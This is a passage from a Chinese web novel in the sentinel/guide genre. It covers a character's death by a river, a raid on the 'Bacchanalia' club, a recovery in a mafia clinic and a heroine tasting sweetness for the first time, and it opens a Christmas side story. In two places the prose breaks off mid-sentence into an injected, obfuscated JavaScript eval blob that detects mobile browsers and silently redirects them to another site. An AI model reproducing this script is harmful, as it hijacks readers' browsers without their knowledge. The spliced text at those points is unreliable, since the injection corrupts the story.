尼尔森痛苦地喘息着,眼神却冷静又认真。 “走…吧…莱蒂斯。你要学会接受……你没有办法,拯救所有人……” 他在少女充满拒绝和痛苦的目光中举起手里的枪。 “你比我熟悉枪械……难道你真的听不出来吗?” “海克.雷德早把这枪里的子弹打空了。 “我开的是空枪。” “他们……都叫我白鸟。” 这是海克.雷德在精神图景中得到的答案。 白鸟用机械而温柔地声音重复了他们初遇时的对话,他的手不再温暖了。海克转动眼球,看见那只僵冷的手上有尸体的青斑。 啊,原来是这样。 海克不敢再去看白鸟的眼睛了。他如是想道: 原来如此。原来你早已去了我现在要去的地方…… 伴随着又一阵剧痛,他的精神图景变成了一片虚无的黑暗。白鸟还在,但白鸟不再动了。 海克的大脑终于连一个幻觉都无法维持了。 连太阳的风暴也静默下来,极光在他眼中熄灭。他闭上眼,疼痛将他彻底淹没。 原来是这样……他的复仇,他的伤痛,他为白鸟屏蔽的痛觉和他对未来的期待,全都只是虚妄。 但海克从始至终,都没有后悔自己所做的一切。 他只是突然想起,那天餐厅里的烛火,河畔的星空,还有他手里的可丽饼。 如果白鸟真的还在,真的和他一起感受到了这些……就好了…… 在尼尔森扣动扳机的前一秒,他放开了幻觉中白鸟的手,坠入死亡的怀抱。 这个纯粹的温柔之人,在最后一刻,竟然没有流露出米拉所期待的那种绝望。 “他是自己选择的死亡……这就是他的答案。” 尼尔森抬手,轻轻抹去莱蒂斯鼻腔中淌出的血液。 莱蒂斯松开他,愣愣地跌坐在地上,他也不顾脖子上的掐痕,将莱蒂斯扶起,去背昏迷的卢娜.雷德。 “走吧……” 在救生艇探照灯刺目的光里,尼尔森扔下手里的空枪。 他知道海克.雷德已经死了,但他依然扣动了扳机。 因为他开枪射杀的不是海克.雷德,而是莱蒂斯天真的执念。 52. 第五十一章 Part 1 他们在河边发现了一具尸体。 河水带走了他的生息和所有血的痕迹,他们差点没反应过来这是谁。他们架着枪,小心地将他翻过来,枪却走了火——有一个哨兵被他没有闭合的黑色眼睛吓了一跳。他破口大骂:这死人的眼睛怎么和他活着时一模一样。 这就是海克.雷德。这哨兵肯定地说。他之前在酒神节里见过他,他永远都忘不了那漆黑如空井的眼睛。 他们简单地检查了这具尸体。看见了他腹部可怕的创口、断掉的右手和脖颈上的刀痕,天知道他究竟死于哪一处伤。由于血液过少,他的血管都呈现出了被漂白般的粉红,哨兵们都认为他死前一定痛苦万分,但他的表情却平静得如同一个疲惫的旅人终于归乡。 他们觉得很奇怪,却并不在乎。他们还有更要紧的事情做。 这一组哨兵一共有六人,携带有六把左轮,三把半自动冲锋枪和一只机械臂。他们的装备足够充足,以至于杀了船上闹事的那几个逃兵后,依然有余力追捕目标。 他们不认为这是件难事,因为目标身上血液的味道之于他们,就如同阿里阿德的线之于忒修斯。 他们行走在河岸潮湿的土地,身上浸满夜晚与河流湿冷的气息。目标往河边的林子里去了,似乎是想跑去大路,他们于是轻车熟路地在茂密的树林里穿行,像是猛兽从容地跟踪受伤的鹿。 他们大约追了十分钟,最终在树林与公路的交界处找到了那三个人。那是三个剪影,一个男人背着一个女人,拽着一个女孩艰难地前进,树木杂乱的枝丫交织在他们上方,像一张网将他们捕获。 可他们才刚一靠近,那个穿着破败的白色礼裙的女孩就发现了他们。在他们进入射程前的那一秒,她突然回过头来,脖子的角度有些怪异。 一双绿色的眼睛在黑夜里升起,像是一对被诅咒的宝石。她似乎受了很大的打击,看起来像一个灵魂被击碎了的人偶。那张漂亮的脸上失魂落魄,要不是男人拽着她,也许她会一直怔在原地。 哨兵们却都感到了一种莫名的恐惧。 他们在她眼中看到了一种遥远的空洞。那其中回响的茫然、崩溃与痛苦像是一场喑哑怪诞的乐章在他们耳边嘶鸣,下一秒就骤然畸变成了可怕的混沌。她明明伤得连跑都跑不动了,他们依然像被猛兽盯上的普通人那样本能地害怕起来,甚至忘了在第一时间举枪。 然后枪声响起,数十只受惊的鸟煽动着翅膀逃离。 倒在地上的是酒神节的哨兵们。 莱蒂斯眼中的混沌再次被茫然覆盖,她回过头,看见公路的方向冲进来了一队人。他们手里拿着最新型的感官干扰设备和武器,身后的货车上架着两台重机枪。领头的人对着尼尔森大喊:“尼尔森?妈的,终于找到你们了。还有人在追吗?” “可能没了?就这?不是说有个S级哨兵吗?我们可为了你搬了好些好装备过来啊!”他们一边失望地喊着,一边把卢娜从尼尔森背上接过,意外贴心地给她裹上了毯子。有人抱着她去了车里,翻开她眼睑检查她具体情况。 一行人脖子上的红色荆棘刺青表明了身份。 □□二把手黎塔诺的人终于到了。 可那黑发绿眼的少女即使面对救兵,也依然一脸阴沉和空疏。在她的目光里,大声嚷嚷的□□们也不自觉地安静下来。等卢娜终于被安置好后,她甩开尼尔森的手,一瘸一拐地往河边返回。 领头人一脸奇怪地看向尼尔森:“喂,这丫头是怎么了?盖比太太不是说她挺可爱——” “嘘。” 平日里吊儿郎当的金瞳向导看了他一眼。他脸上有淤青,被汗和水打湿的短发贴在脸颊,看起来比平常还要狼狈一百倍。但当他的目光落在领头人身上时,领头人像是被掐住脖子一样顿了一下。 “尸体……” 然后,他们听见了那女孩的小声呢喃。 “终于……卢娜小姐终于安全了……我至少要……带回海克先生……的尸体。” “唉。” 尼尔森叹了口气,也跟着她走了过去。 火荆棘的人们面面相觑,可一种沉重的气氛徘徊不散,和树影一起沉沉地压在他们肩头。随后,他们也不自觉地迈开脚步,三三两两地拨开树林中的植物,跟着最前方纤细的,白色的身影前进。 月光在这时才从夜色里浮现,在河滩笼罩下一层雾一样朦胧的光。似乎被这浅金色的光芒刺痛了,莱蒂斯感到双眼都酸涩起来。她竭力地在月光中睁大眼睛,可河边什么也没有。 为了销毁尸体,那帮哨兵早将海克抛进了河里。这一次,奔流的奎因河彻底带走了他的一切。 “啊啊……” 莱蒂斯长了张嘴,发出一声小小的呜咽。月光仿佛在燃烧一般明亮,她纤细的身影沐浴在其中,晃了晃,猛地向地面栽去。 “莱蒂斯!” 尼尔森先于所有增援冲上去接住了她,他发现这身受重伤的女孩终于彻底昏迷了过去。 酒神节外热闹非凡。 这里从没聚集过这么多人,富有的客人们匆匆从后门跑出来,却被一对长相相似的双胞胎挨个按到在地,铐上手铐。一黑一白两只豹子在对他们低吼,养尊处优的富人们没一个敢轻举妄动。 一个戴着眼镜和白色耳钉的青年拿着一台相机,一脸淡定地对每一个客人的脸拍照。无论他们起初如何抗拒,只要他抬手按住他们的太阳穴,这些歇斯底里的人就会安静下来。一只六角蝾螈蹲在他头顶,看起来人畜无害。 那些穿着高级西服的看守们前脚迈出大门,后脚就倒在了地上。罗德瑞克在前方的高楼上架着狙击枪,麻醉弹百发百中。他只是一个护卫,这没错,但他唯一觉醒的视觉能达到A级的评级。 几乎整条俱乐部大道的客人全都围着这座神秘的高端私人会所探头探脑地张望,却没有一个人敢靠近。一只体长十米的大王酸浆鱿正慢悠悠地顺着人群围出的圈打转,带有发光器的眼部像是探照灯一样发亮。 一个手里拿着盒鸡块,看起来懒洋洋的微胖女孩正在和人通讯,她说: “布列塔尼姐,你那边什么时候好啊——酒神节里已经清空得差不多了吧,我们这边已经把所有人控制住了哦——今晚局里看守所要热闹起来呀——” 是的,布列塔尼当然不会独自前来的。打败酒神节的所有人对她来说确实绰绰有余,但逃跑的客人们她可无暇顾及。还好,她亲爱的组员们一直在外守株待兔,就等着把这群有钱的混蛋全都抓捕。 虽然这帮有钱人里有一半的人都会通过暗箱操作脱罪,但他们参与向导之旅的证据已经被调查局掌握。布列塔尼会用这些证据玩出什么花,就只有她自己知道了。 “啊呀……我还想再看看,”但此时,布列塔尼只是站在一堆七到八歪的昏迷哨兵中间,对着第三层的走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我的蜂鸟mini智能pro!刚刚好像好不容易看到了点画面,结果突然失联了!!!不知道是信号被掐了还是被人发现了…………啊啊啊啊我熬夜赶ddl设计出来的蜂鸟mini智能pro啊啊啊!” 多多喊得像是个看着孩子被绑架了的母亲一样凄厉,布列塔尼眨了眨眼睛,摁掉了通讯。 算了,再试试吧。S级的女哨兵闭上眼睛,再次将听力尽数解放。 当然,她什么也没发现。 “真是讨厌……这女人怎么还不走……” 地下四层里,米拉的额间满是冷汗。她正动用自己全部的共感力隐藏起这层楼的存在。要欺骗S级哨兵的感官很难,一整层楼面积又太大,对她消耗很高,她随时都要昏迷过去。 “人家好累啊~”她用撒娇的语气说着,面部因为共感力透支而扭曲,却还是带着那种做作的微笑,让人很不舒服。 “哪怕她是在这里待到明天才走,你也得撑住。这个女人……不好对付。果然赶回来是对的。” 里奇站在她旁边说。他拿着个破碎的小机器,在一堆散乱的零件里找到了摄像头。 刚刚他听到了第四层上方的通风管道里有声响,于是赶在这玩意掉到第四层产生交互之前,飞出去了一支钢笔把它钉穿了。 他知道这肯定也是那个女人的手笔。 这才是真正危险的东西。 “实验室得转移了……让上面的人无论如何也要禁止布列塔尼再次访问这里,然后立刻搬迁。”里奇微皱着眉,捏碎了摄像头,“大意了。不知道这机器有没有看到什么。” 53. 第五十二章 Part 1 五天后的上午,病床上的莱蒂斯猛地睁开双眼。她翻身坐起,下意识想要摸枪,却因为长时间昏迷导致的眩晕而摔向地面,身上各类仪器的接线和输液的管道像是一张被撞坏的蛛网,跟着她一起塌陷。 “冷静,冷静。莱蒂斯,我们已经安全了。”一个熟悉的声音响起。这个嗓音与‘安全’这个词语像是一个等待已久的奇迹,让莱蒂斯甚至有些不敢置信。她环顾四周,发现这是一间没有窗户的单人病房。一个高出她不少的男人将她扶住,小心地帮助她稳住身体。 她抬起头,对上那双金色的眼睛。 尼尔森笑笑:“现在是上午十一点半,挺巧,你正好赶上午饭时间。” 他又换回了那套褐色的风衣,只是脸色看起来不太好,黑眼圈很重,身上也缠着绷带。一块纱布贴在他脸颊,但没能完全覆盖掉他脸上的淤青。这让他看起来像是个因为偷拍而被人一顿狠揍的苦逼私家侦探。 可他金色的眼睛里折射着那晚月光的颜色,依然那么让人捉摸不透。看见他的瞬间,被大脑暂时屏蔽的一幕幕再次闪过莱蒂斯眼前。突然倒地的海克,触目惊心的伤,染红了河流的血,迫近的救生艇的探照灯,枪,争执,然后—— “砰!” 一声枪响伴随着记忆回荡在她颅内。 莱蒂斯的情绪骤然变成了晦暗的风暴。安静的病房里忽然弥漫开一种置身荒野的压迫,就好像会有不可阻挡的灾害闯入人类搭建的羸弱庇护所,将一切撕碎。 可尼尔森对她说:“这是空枪。” 是啊。莱蒂斯想。那枪声是那样的鲜明,仿若一颗打进她大脑的子弹。在逃离河边的时候,在回去找海克尸体的时候,在自己无穷无尽的黑色长梦和终于醒来的现在,她一遍遍地问自己:那真的是空枪吗? 然而每一遍,她的答案都毫无疑问,没有给她一点逃避的余地。 她熟悉枪械。那声音就是最振聋发聩的回答—— 没有白鸟。 白鸟早就死了。 海克也自己选择了死亡。 “……” 她最终紧紧攥住床沿,不住地颤抖起来。她想对尼尔森生气,想拆掉酒神节里所有哨兵和客人的关节,把他们吊在光天化日下审判,她想杀了那个S级哨兵和那个女向导,但是,但是—— 她的大脑里好像又只剩下了一片麻木的空白。 “来,”尼尔森却只是自顾自地端着一杯水抵在她的唇边,“喝点水。我已经叫医生过来了,不过那家伙现在很忙,估计还要等一会才能检查。” 他倾斜了水杯,一边小心地给病号喂水,一边碎碎念:“这是你昏过去的第五天。就你最惨。我很幸运没有被打断骨头,获救当天就自由活动了。卢娜醒得很早,但身体很差,一直在病房里疗养。你身上的伤全都上了最尖端仪器救治,膝盖恢复可能要花些时间所以给你装了个死贵的机械外骨骼顶着……哦对,布列塔尼全款报销。” 莱蒂斯有些茫然地咽下一小口水,迟钝地消化着这一切信息。病房里没别的声音,平静得像是一方与世隔绝的无菌净土,可她总觉得外面就是滔天的黑色浪潮。她来不及恨,也来不及歇斯底里——她只是觉得陌生,尼尔森有些陌生,自己本身也有些陌生,而世界,世界让她不知如何面对。 于是她只是怔着,继续沉默。 空枪的响声不断回荡在她脑海。 “布列塔尼那家伙带小队把酒神节端了,就在我们还没下货轮的时候。”金眼睛的向导似乎没有注意到她的异常,絮絮叨叨地把玻璃杯放回桌上,“酒神节停业了。她现在忙着挨个对付那些有钱人。不过她很惦记你,估计待会还会再过来看你。” 布列塔尼这个名字莱蒂斯有了些反应,她下意识地问:“……再?” “当然。”尼尔森耸耸肩,“她每天早上都来。第一次赶来的时候把我揍了一顿,我现在脸上的伤其实大部分是她功劳。她本来要把我干掉,字面意义上的那种,我就知道——所以我才一直不敢联系这家伙。但我跟她讲了你是哨兵这件事,还给她看了一下我们的精神共鸣,她看在你的份上留了我一命。” 尼尔森的话里还省去了很多细节。比如布列塔尼差点让大象把他踩到头部以下高位截瘫,又比如莱蒂斯在昏迷时频频梦魇。少女透支的精神在不断恶化,但没有一个向导能穿透她的屏障治疗。 治好她的是尼尔森。这压根不会精神疏导的向导只是坐在她旁边,拉着她的手,从早到晚,整整五天。 就像抚平了他的噩梦那样,肢体接触与精神共鸣抚平了莱蒂斯精神力的损伤。她的嗅觉恢复了,听力也变得可控。可这次,尼尔森无论如何也睡不着了。他低着头看着昏迷的莱蒂斯,只是看着,连他自己都不知道自己在想什么。 他早就知道,这小姑娘会在这灰色的,混沌的世界变得遍体鳞伤。而他不会对她隐瞒真相,因为无知会让她陷入更深的危险和痛苦。 他唯一能做的,好像就只有在世界向她展现本来面目时,陪在她身边。 按理来说,刚醒的病人是不能下床的。但尼尔森还是拉了拉莱蒂斯。 他问:“要不要去看看卢娜?” “……”莱蒂斯愣愣地思考了一会儿,想开口拒绝。她还有什么资格去见卢娜小姐呢?她麻木地想着。 可尼尔森说: “莱蒂斯,一个人一生能救下一个人就是奇迹。” 他金色的眼睛灿如日轮。 “走吧,去看看你救的人。” 卢娜.雷德看起来只是有些疲惫。 她坐在病床上看手机,脸上一如既往地没有什么表情。她恢复得很快,看起来和正常人已经相差无几,思维也清晰。医生给她开药的时候还被她质疑了药物,最后核实了一下,发现还真是她自己选的更合适。 莱蒂斯被尼尔森牵着,到了她的病房附近。尼尔森站到她身后,意思是要她自己进去,她却墙边止住了脚步。 少女攥紧了手,闭上眼深深吸气。 在没有尼尔森辅助的情况下,她小心翼翼地降低了自己的听力屏障。她很紧张,就像要撕下自己的一层皮肤,但她无论如何也想去听—— “扑通,扑通。” 卢娜.雷德的心脏在她的胸前中健康,规律地跳动,与莱蒂斯在污水舱里找到她时微弱的声响完全不同。 卢娜.雷德安全地活救了。 她健康地活着,这是真的。 可是她的哥哥…… 莱蒂斯又听到了那声枪响,它跟随呼吸在她鼓膜上起伏,震耳欲聋,逐渐盖过了卢娜的心跳。 她没能救下卢娜小姐的哥哥…… “莱蒂斯小姐。” 就在这时,病房里传来了卢娜的声音。莱蒂斯吓了一跳,睁开双眼。 那让她害怕,让她逃避,让她不敢面对的声音,正清晰地,一词一句地说: “谢谢你。” 隔着墙,直觉敏锐的女医生看向她的方向,冷冰冰的声音竟放缓得有些温柔。 “谢谢你救了我……也谢谢你追查哥哥的真相。” 她一向言简意赅,这次却突然有很多话想说。 “哥哥他的命运,我早知没有谁能改变。缔造他结局的不是你,也不是你们放弃他带我逃离的决定。伦滋,酒神节,掩盖事件的权贵,掳走他的组织,漠不关心的人们——这座城市……这一切注定他会在痛苦中死去,悄无声息,无人在意。我早已接受这个事实,我担心告诉他白鸟的真相会只会加速他的苦痛和死亡,所以没有向他挑明。” “但是,莱蒂斯……你改变了我的看法。” “你在乎他。你在乎他的死和他的命运……现在因为你的在乎,酒神节被关停,向导们被释放,而哥哥……你的向导说哥哥最后……是以平静地离开这个世界的,这对他来说已经是不可多得的结局。” 莱蒂斯呆呆地听着,她觉得身体有些难受,就好像有什么东西要冲破自己石棺一样沉重的心口。那片麻木中有什么开始苏醒,开始闪烁,她有些喘不过气。 而卢娜似乎下定了什么决心: “既然命运是能改变的,无论多么微小,那我想——” “二位。” 一个西装革履的男人突然出现在病房外。他梳着一丝不苟的头发,戴着眼镜,看起来温文尔雅,表情却有些清冷: “我与卢娜小姐预约了今早的会面。如果二位想和她聊聊,麻烦换别的时间。” 他听起来既礼貌又不容置喙,莱蒂斯有些奇怪,尼尔森则对他耸耸肩。 “您请您请。” 他上前一步,帮男人拉开卢娜病房的门,笑道:“可不敢插火荆棘二把手的队。” “哦对了,谢谢你派人来救我们。黎塔诺。” “不好奇他们在说什么吗?”尼尔森问。 莱蒂斯从卢娜的病房前离开了,兀自走在走廊上。这里看起来并不是个医院,而是一个私人小诊所,只不过设备都是最先进的。 “……卢娜小姐,她可以做任何决定。我不会过问。我相信海克先生他……也会支持她的。她现在也被酒神节和背后的势力盯上了,也许布列塔尼部长能帮她逃走——” 尼尔森说:“她要加入火荆棘帮。” 莱蒂斯的脚步一顿,回过头来。 “卢娜要留在圣卢塞特,昨天让我帮忙联系了黎塔诺。她要继续追查伦滋,还要避免被酒神节追杀,加入黑手党是最好的选择。正好黎塔诺他们缺医生——可以信任的医生——猜猜为什么医生还没来给你做检查?这里是火荆棘帮的私人医疗点,他们帮派里唯一的医生正在另一个地方给人做手术呢。” “人是不会那么轻易停下脚步的。你觉得愧对于她,她却因你产生了勇气。你并不是什么都没有改变,你救下了生命——你带来了奇迹。” “虽然她选了条艰难的路,但至少黎塔诺值得信任。他会保护好她的。” 尼尔森站在走廊里,朝惊讶的莱蒂斯伸出手。 “现在,趁那个死板的医生还没赶过来,要不要先违规上楼去?” “上楼?” “对,上楼。”尼尔森笑了一下,“也许你会想见见盖比太太。她也念叨你好久了。” 餐厅里人声鼎沸。 盖比太太的意大利餐厅在短短三日内就重装完毕,并且开始营业。午餐时分,整个餐厅几乎坐满了客人,服务员端着盘子在满是顾客的餐厅里穿行,搅动空气里罗勒和番茄的味道。 尼尔森推开后厨的门,和莱蒂斯一起走进餐厅。莱蒂斯这才发现,这是伦滋派人袭击他们时,他们进入过的那扇防爆门。 显然,黑手党的白名单地点不止藏着冲锋枪。后厨的角落有一个通道,通往莱蒂斯刚刚所在的地下诊所——这是火荆棘最安全的据点之一,主要用于收治重伤的成员。 见一个缠满绷带的男人扶着一个穿病号服的小姑娘从后厨走出来,餐厅里的人都没有特别大反应,只是继续聊着家常八卦,吃着盘子里的食物。也许他们已经默认了这里的规则,对此见怪不怪,可莱蒂斯依然感觉格格不入。 她好像被关在一扇透明的玻璃之后,世间万物如同在她面前播放的电影——光影流转,可她走不进去。 “亲爱的!你终于醒过来啦?”有人在玻璃外敲打,莱蒂斯恍然惊醒,看见盖比太太向她走来。 她像一个看见孙女回家的奶奶一样上下大量着莱蒂斯,眼里是关心和惊喜:“哎呀,我真想抱抱你,亲爱的。可是黎塔诺和医生都嘱咐我不要让我碰病号……” 于是转而代之地,老太太拉住莱蒂斯的手,把她从玻璃里带了出来:“来,这边。我一直给你们留了个座,谁来我都不给预定的。” 她将莱蒂斯和尼尔森带到一个窗边的座位,那是上一次他们坐过的位置。桌上的玻璃瓶里放着朵塑料玫瑰。 “上次你们来晚了,没吃到蜜瓜火腿,这次可不能让你们失望。还有千层面和玛格丽特披萨——最传统的意大利美食能够治愈一切,这次盖比太太请客。” “谢啦,盖比太太。”尼尔森笑笑,坦然接受了她亲切的好意。 他扶莱蒂斯坐下,拉开自己的椅子,忽然想起了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356943|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对盖比太太说:“对了,还有奶油酥卷吗?” 甜品先于主菜放到了桌上,正午的阳光在店门外徘徊,为酥卷焦脆的表皮镀上了一层金灿灿的外壳。奶油淡淡的甜味和丁达尔效应下的尘埃一起飘飘摇摇,隔壁桌的人见了,也加了一份。 见莱蒂斯正盯着盘子发愣,尼尔森把盘子往她面前推了推:“尝尝看吧。甜品能让人心情好些,这次就不跟你抢了。” “……你知道我吃不出味道。”莱蒂斯说,把盘子又推了回去。 她并不想吃东西,而且这盘甜点还她突然想起了另一件困扰的事。关于自己的精神屏障,关于自己究竟是护卫还是哨兵,关于自己对哨兵向导错误的认知以及……休伯特大叔的谎言。 她并不怀疑休伯特大叔,她知道他肯定有这么做的理由。可究竟为什么…… 结果那契而不舍的盘子又被推回来了,像一个幼稚的游戏。莱蒂斯搞不懂尼尔森在想什么,抬头却看见向导伸出手,越过窄窄的小方桌,撩开她的碎发,将手指轻轻按在她太阳穴上。 这危险的,能够误导认知的向导认真地看着她:“试试吧。我来帮你。” “你觉醒听力的情况太极端了,损耗也太大,绝对不能再靠这种办法突破屏障。我想过,人的味觉和嗅觉在一定程度上联通,你的嗅觉屏障本来也是正常的,也许我可以提供这种联通,帮助调整你的味觉。” “味觉被那群哨兵视为最没用的感官,因为它几乎不会在战斗中起到作用。但品尝东西的味道也很重要。世界上又不止有打打杀杀,不止有任务和拯救他人的使命……坐在餐厅里,吃点甜品,这是生活重要的一环。” “我没辅助过谁,但别担心。我得尊重盖比太太的劳动成果,尽量把你的味觉调节到最合适的强度来品尝它,不然黎塔诺得拿枪把我崩了。而且,人嘛,总是——” 尼尔森顿了顿。 他是一个经历太多,放任自己浑浑噩噩活着的人,但莱蒂斯不是。 起初,尼尔森嘲笑她的天真。但同生共死后,他却发现,他根本想象不出莱蒂斯和自己一样的麻木的样子。他知道莱蒂斯不会放弃,不会一蹶不振,但她确实还太年轻了,而世界也确实太过苦涩。她的确不会被击垮,但即使如此,她肯定也会…… “需要一点甜的、好的东西,才能继续走下去。” 旁边那桌要的奶油酥卷也被端了上来,客人迫不及待地咬了一口,流露出幸福的笑容。 莱蒂斯沉思了许久,没有说话。就在尼尔森想要放弃时,他忽然感觉到她的嗅觉屏障降低了。 经她允许,他的精神触须链接上了她的感官。 莱蒂斯试探着咬下了一口奶油酥卷。 酥脆的表皮在牙齿间破碎,面包卷带着烘烤的麦香,随着奶油轻柔地融化在她舌尖,尼尔森的眼里升起金色的光芒。 陌生的知觉在口腔弥漫,温暖而绵长。味蕾接收到了刺激,神经递质释放,一种放松而愉悦的感觉从味觉里迸发,为少女的身体带去暖意。 好像一片冰封的雪原是突然有漫山遍野的垫草和花绽放,她想,原来这就是甜的味道。 她第一次尝到这种味道。 莱蒂斯感到不知所措,而尼尔森对她点点头,她于是又咬了一口酥卷。奶油的甜而不腻和面包香甜进一步淹没她的感官,又和煦,又轻盈,却像是有着万钧之力,一点点击垮那一直伴随着莱蒂斯的麻木感。 自己的心情有变好吗?莱蒂斯也不知道。可就像有人杂碎了囚室中的一面高墙一样,她开始感到有什么东西涌入了进来。那是门外阳光的温度,餐厅里嘈杂的人声,或许还有卢娜的道谢,或许还有盖比太太的微笑和布列塔尼的关心…… 还有她一直不敢回忆的,海克.雷德死前,平静的眼神。 说好的甜品会让人心情好呢?莱蒂斯想。她现在感觉一点也不好,反而心脏开始抽痛。 可她又因为这苦痛感觉到自己仍然活在世上,感觉到自己仍是行走在世间的一员。 和敌人堵上性命战斗是正确的事情,可是在很累很累的时候吃一块奶油酥卷,也是正确的事情。 她下意识眨了一下眼睛,才发现视线有些模糊,再一眨,一滴沾在她睫毛上的泪珠滴落在桌上。 耳边的枪声随着一滴眼泪的破碎戛然而止。 奶油酥卷真的很好吃。虽然她才刚刚获得味觉,分不清好吃与不好吃的区别,但盖比太太的手艺肯定没错。她又吃了一口,想让自己平静下来,可不知为何,眼泪却冒得更凶了。 终于,这个一直被自己的执念压抑着,强撑着,只知道向前奔走的少女停下了脚步。 她像个普通的,伤心的同龄人一样,嚎啕大哭了起来。 尼尔森并没有趁机转移走莱蒂斯的悲伤。 这是将要镌刻进她灵魂的伤疤,是她活着的一部分。他没那个本事将它转移,也没那个资格帮她逃避。 他只是有些担心。根据莱蒂斯之前表现出的想法,她多半会认为,没有成功救下海克的自己是没资格悲伤的 可尼尔森清楚,这种沼泽一样的极端情绪会在不知不觉间变成怎样诅咒一般的执念。 她会继续马不停蹄地追查,同时将所有负面情绪都压抑起来,就像在货轮上那样,忽视自己的状况,不计代价地战斗,最终自己牺牲掉自己,以最惨烈的方式。 如今看见她哭,尼尔森反而放下心来。 这个对自己过于严苛的小姑娘,终于不再逼迫自己坚强了。 与此同时,布列塔尼终于审完了五天前那晚抓到的人,准备出发去看她家小莱蒂斯。 “嗡。” 手机忽然震动,是多多发来的信息。带着温柔笑容的布列塔尼点开它,眼神却冷了。 “快谢谢本天才吧!我修复出蜂鸟mini智能pro最后传输回来的数据,这是图片。虽然很糊,压根看不出拍的什么东西,但能看出来这个物体上印着几个字。” “这个拉奥孔,是个啥玩意啊?” Part1太阳风暴 TheEnd 54. 第五十三章 圣诞前夕,她托人送来了礼物。 注:本番外为纯甜无刀if线。海克在和莱蒂斯、尼尔森一起逃出货轮后生还,而白鸟的灵魂真的在海克的精神图景中和他共生。 清晨七点,海克抱着一个大纸袋离开超市,手里局促地握着一束黄玫瑰。 他在这家超市工作已经三年了。今天交完班,正好赶上烘培区第一批产品出炉,被同事塞了半袋的司康饼和碱水包。除此之外,纸袋里还有他买的橙子,苹果,丁香,肉桂,一瓶红酒和圣诞蜡烛,满满当当。 东西太多,他抱着不太稳,偏偏负责鲜花区的小姑娘要感谢他今早帮忙搬花,又硬塞给他了一束黄玫瑰。 海克不好拒绝,只能讷讷地点点头:“谢谢。” “客气什么呀,拿回去装饰客厅吧。”小姑娘对他眨了下眼睛,“给你家里的人一个小惊喜。” “嗯……” 海克不知如何反应。虽然他从没跟他们提过白鸟的事情,但他的同事们似乎都默认他在和人一起住。有一次他终于忍不住问了,可同事们只是笑笑,说你这家伙虽然话不多,但有时候走神那样子,一看就是脑子里有什么人啊! 从某种意义上讲,这话倒也没错。 海克脑子里的人也在笑,同事们所说的海克走神的时候,往往就是他在和海克聊天。 虽然鲜花区的小姑娘听不见,但白鸟还是跟她说了句谢谢。 向导挥了挥手,转移走了女生早班的疲惫感作为感谢。这女生向来都很关照嘴笨的海克,还在一起值夜班的时候帮他骂走了找茬的酒鬼。 至于那个酒鬼想要报复女生,却在跟踪的路上被某个杀手一拳放倒,喜提一周昏迷,那就是她不需要知道的事情了。 冬令时的早上天还没亮。圣卢塞特尚未苏醒,只有海克和寥寥几个路人在街上行走。主街道兀自繁华着,满是提前挂起的圣诞节装饰灯,星星和托尾的天使飞行在海克头顶,像是浮空的水晶。 坐了几个站的地铁之后,海克走上回家的街道。白鸟说喜欢这个街区安静的氛围,而海克在酒神节攒下的钱完全能够负担这里的房租,他们住进了一栋陈旧的小房子里,附带一个没怎么打理的花园和大大的落地窗。 家门外,小雨淅淅沥沥地落着,四周建筑的窗户里亮起暖金色的灯光,倒映在地面的积水上,澄澈而温暖。海克掏出钥匙开门,看见上面的钥匙扣,动作顿了一下。 那是一个相当生动的心脏微缩模型,不同区域还标注着不同的颜色。 很显然,这个手工硅胶挂件是来自他的医生妹妹圣诞礼物。平心而论,非常还原,和海克曾经从刺杀对象胸口挖出来的相差无几。 他们昨天才见了一面,但结果可能有些不太愉快。卢娜请了年假,要提前回家,今年也和之前一样来问海克要不要见见父母。 她还是没告诉他们海克还活着的消息。 海克和之前一样拒绝了,他还没有做好准备。家和家人是他活下来的希望,但一想到身为杀手的自己要回到那样美好的家里,他就感到迟疑和退却。 要从过去中走出需要漫长的时间,他依然觉得自己身上沾满了血和罪孽。他像一个走丢太久的孩子在家门前徘徊,担心父母是否还将自己视做家庭的一员,担心那间旧屋中的一切是否如旧—— 还担心自己一直背负的阴影是否会趁机跟着他一起,侵入他魂牵梦萦的归宿。 卢娜说自己理解他,不带表情地点了点头。但白鸟说她还是不太开心的。作为妹妹,她理所当然地想要哥哥和自己一起回家过圣诞,想让父母见见他,也认识一下白鸟。海克的决定让她遗憾。 但即使如此,她依然把亲手制作的圣诞礼物塞给了哥哥,然后潇洒走人。白鸟微笑着看着她的背影,除了“不太开心”和面无表情之外,他还能感知到更加强烈的关心,尊重,以及对哥哥的爱。 海克万分珍惜这个怪异的小礼物,立刻就挂在了钥匙上。同事们看了都吓一跳,海克却很喜欢。好吧,老实说,数年过去了,杀手还是很难产生喜欢或者不喜欢的观点,但这是妹妹给的东西,他知道自己哪怕没有被组织的向导移除感情,也一定会喜欢的。 至于究竟什么时候,他才能做好回家的准备…… 海克觉得可能快了。 酒神节和货轮的事情已经过去三年了,但海克和白鸟都很难算得上走出了阴影。酒神节的噩梦依然会时不时让白鸟发出梦呓,而海克看着白鸟,偶尔还是会疑虑:他们是否真的已经从那惨痛的过去中逃离。 直到前几天,海克从超市下班。他拎着用员工折扣买的牛肉,欧芹和蘑菇洋葱,抄近路走进了一个小巷。 在那里,他遇到了伦滋.赫夫迈。 伦滋.赫夫迈瘫坐在垃圾桶旁,断了一条腿,身上散发着恶臭。他肤色蜡黄,粘着很多结块的污渍,面相呆滞,眼窝深陷,像一具被虫蛀空的丑陋蜡像。 两个“蟑螂”正在对他拳打脚踢,从他手里抢走了几节抽剩的烟头。他们把里面的烟草拿出来,只把卷烟纸扔回了他面前。 